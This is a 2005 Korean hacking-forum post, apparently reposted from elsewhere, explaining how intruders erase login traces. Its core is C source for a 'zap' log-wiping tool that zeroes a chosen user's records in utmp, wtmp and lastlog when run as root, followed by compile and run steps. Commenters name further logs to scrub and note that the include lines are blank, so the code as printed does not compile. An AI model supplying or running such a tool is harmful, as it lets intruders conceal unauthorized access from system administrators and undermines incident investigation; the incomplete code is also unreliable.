1580, 74/79 회원가입  로그인  
   starztp
   [펌]해커들의 흔적지우는방법

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=333 [복사]





*해커들이 자신의 흔적을 지우는 방법





자신의 로긴 정보를 지우는 프로그램은

기본적으로 /etc/utmp와 /var/adm/wtmp와 /var/adm/lastlog에 대한 읽기와

쓰기권한이 있어야 합니다. SunOS 4.1.X계열의 utmp의 모드가 -rw-rw-rw-로

되어 있고 SunOS 5.X 계열의 utmp의 모드는 -rw-r-r-로 되어 있습니다.

시스템에 따라 다를 수도 있지요. 따라서, 이 프로그램을 실행해 보려고 하는

사람은 SunOS 4.1.X을 사용해야 합니다. 이는 uname -a의 명령어로 알아 볼 수

있습니다. 그런데 자신이 일반 사용자가 아닌 root라면 구지 OS의 버전에

영향을 받을 필요가 없습니다. 해커나 다른 사람이 접속하면 시스템에

/etc/utmp, /usr/adm/wtmp와 /usr/adm/lastlog 파일에 접속 기록이 남습니다.

그래서 흔적을 없애기 위해서는 위의 화일을 변경합니다. 이것들은 텍스트 파일이

아니라서 vi로 편집할 수 없고 특별한 목적을 지닌 프로그램을 작성해야 합니다.

바로 그 프로그램이 아래에 있는 프로그램입니다. C언어로 작성 되어 있습니다.

이 프로그램 말고도 여러 가지의 흔적 지우는 프로그램이 있다는 것을 알려드립니다.

아래 프로그램을 root의 권한에서 돌려서 접속흔적을 지웁니다.

유닉스 쉘 상태에서 아래 파일명을 test.c로 저장해서 cc -o rmuser test.c 로

컴파일 해서 rmuser를 실행시키면 됩니다.



hack%cc -o rmuser test.c

hack%rmuser



위의 명령을 실행해서 who라고 명령 해보십시오.

깜쪽 같이 자신이 사라져 있을 겁니다.

참고로 who는 현재 시스템에 로긴해 있는 사용자를 알아보는 명령어 입니다.



프로그램 소스 tset.c의 내용



#include

#include

#include

#include

#include

#include

#include

#include



#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {



while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )



if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {



bzero((char *)&utmp_ent,sizeof( utmp_ent ));



lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);



write (f, &utmp_ent, sizeof (utmp_ent));



}



close(f);



}



}



void kill_wtmp(who)



char *who;



{



struct utmp utmp_ent;



long pos;

pos = 1L;



if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {



lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);



if (read (f, &utmp_ent, sizeof (struct utmp))<0) {



pos = -1L;



} else {



if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {



bzero((char *)&utmp_ent,sizeof(struct utmp ));



lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);



write (f, &utmp_ent, sizeof (utmp_ent));



pos = -1L;



} else pos += 1L;



}



}



close(f);



}



}



void kill_lastlog(who)



char *who;



{

struct passwd *pwd;

struct lastlog newll;



if ((pwd=getpwnam(who))!=NULL) {



if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {



lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);



bzero((char *)&newll,sizeof( newll ));



write(f, (char *)&newll, sizeof( newll ));



close(f);



}



} else printf("%s: ?\n",who);



}



main(argc,argv)



int argc;



char *argv[];



{



if (argc==2) {



kill_lastlog(argv[1]);



kill_wtmp(argv[1]);



kill_utmp(argv[1]);



printf("Zap2!\n");



} else printf("Error.\n");

}


  Hit : 12244     Date : 2005/10/08 03:53



    
starztp 퍼온겁니다. 만약 잘못된부분이있다면 리플달아주세요 바로삭제하겠습니다.(님들은 이글을 알아들으실꺼라 생각하여 올린겁니다 물론 저는 무슨내용인지 잘은모르지만요..) 고수님들이 보시고 2005/10/08  
starztp 잘못된부분이나 수정해야할부분 그리고 중복내용 쓸떼없는내용이라면 악플다시지마시고 그냥 이런저런사유로인해서 삭제부탁한다고 써주시면 감사하겠습니다....^^ 2005/10/08  
nsh009 소스가 많이 길어진거 같내요.. 인터넷 돌아다니다가 본거랑 비교하면.. 꽤 기네요.. 2005/10/08  
골드 어디선가 본거는 같은데 ... 어디서였지 2005/10/08  
awsedr45 그외 etc/syslog.conf /var/adm/sulog /var/log /.history bash.history /var/adm/utmp wtmp 도 있습니다. 2005/10/08  
kamijyo 헤더파일이 안써진거 같은데; 무엇 무엇이 쓰인건가요?? 2005/10/08  
starztp 헤더파일이뭔지 저는모릅니다a 혹 고수님들이 보시면 알까 도움이 될까싶어 퍼온겁니다;;; 허접내용이라면 삭제하겠습니다;; 삭제 요청해주세요 ; 2005/10/09  
골드 #include<stdio.h> 이런게 헤더파일인데 #include 옆에 아무것도 없네요. 지워졌나. 2005/10/10  
돌대가리 내대가리 돌대가리 내대가리 돌대가리 내대가리 돌대가리 내대가리 ㅆㅂㄹㅁ 저거 진짜모르겟다 ㅠㅠ 2005/10/12
starztp 글쎄요a 2005/10/13  
보기드문킹카 역시C++과 리눅스는 파고들수록 머리 아파짐 ㅡㅡ 아 어떻게 해야 점수 잘받을까요 학교서 ㅡㅡㅋ 2005/10/16
멍멍   잘못된 부분 수정되었습니다 printf("Zap2!\n"); 에서 printf("Zap1!\n"); 로 2005/10/26  
angel6116 미치도록 뭔말인지 알고싶어진다;; 전혀 알아들을수가 없네..ㅠ_ㅠ 2005/11/06  
.. -_- 헤더파일 stdio.h , utmp.h , fcntl.h 등 넣고 컴팔했더니 함수내 에러 -ㅁ-;; 2005/11/10
.. L_XTND 선언 안되어있다는뎅 -ㅁ-; 2005/11/10
c0003c 이게 도대체 뭔말이여-_-;; 2005/11/13  
tbvjqk 으악 머리 아파 2005/11/13  
msjeon9323 헉 저거 쓴 님!! 좀 쉽게 설명 글로... 2005/11/20  
그린나래 include 에 헤더파일이 빠져있네요.. 아마 꺽새표시가 태그..로 인해 사라진듯한데요 2005/11/29  
H.R.T -0- 이게머야...알아볼수가 없네..;;ㅋㅋ 2005/12/12  
X-line 소스잖아요 ㅎㅎ 2005/12/15  
X-line 이거 이해할수있다면 정말 좋을텐데.. 2005/12/15  
무소유 해커스쿨책에도 이런거 나왔든거같든데 ㅎ 2005/12/16  
gbajh 해커스쿨 책도 있어요? 2006/01/02  
바보해커 C++의외로 배우면 쉽삼! 2006/01/22
marilin29 헉! 2006/12/12  
whqkdnf000 감사합니다...좋은정보 2007/02/26  
rocket07 fopne 함수에서 f 빠진거 같은뎅. . 2012/01/21  
120   #01 Protel CAD - 서문     아이프리드
11/21 10785
119   자유 게시판에 있는거 훔쳐서 포인트 올리기!! 잇힝~*[6]     a456753
11/19 8779
118   구글 해킹?[7]     nsh009
11/06 12602
117   [팁] 자동완성기능[17]     khas
11/03 7621
116   초보 해커 지침서 [1편] [해킹은 과연 무엇일까?][25]     khas
11/03 10756
115     [re] 윈도우, 틱 소리나면서 다운 되는 경우... 허접강좌     my1004
11/02 6637
114   [잡] 네트워크 IP[5]     소유
11/01 9938
113   [잡] 네트워크 TCP[8]     소유
10/31 8917
112   Linux 에서 APM(apache+php+mysql) 소스로 설치 하기[5]     포비
10/29 7609
111   리눅스에서 인터넷이 안될때(asiris2000님 강좌)[6]     컨티뉴
10/13 9523
110   윈도우즈xp 팁(1)[8]     컨티뉴
10/09 9190
109   오버클럭킹의 원리[11]     컨티뉴
10/09 10143
108   리눅스 설치하기 - RPM편[3]     소유
10/09 9394
  [펌]해커들의 흔적지우는방법[28]     starztp
10/08 12243
106   리눅스 설치하기 - 쉘편[2]     소유
10/07 9423
105   사회공학[4]온라인상에서의 사회공학[8]     idl0521
10/07 8412
104   사회공학[3]덤스터 다이빙[8]     idl0521
10/06 8801
103   앞으로 이어질 글에 대해서.....[2]     소유
10/06 8267
102   리눅스 설치하기 - 디렉토리편     소유
10/06 8951
101   리눅스 설치하기 - 파티션편[6]     소유
10/06 9274
[1]..[71][72][73] 74 [75][76][77][78][79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com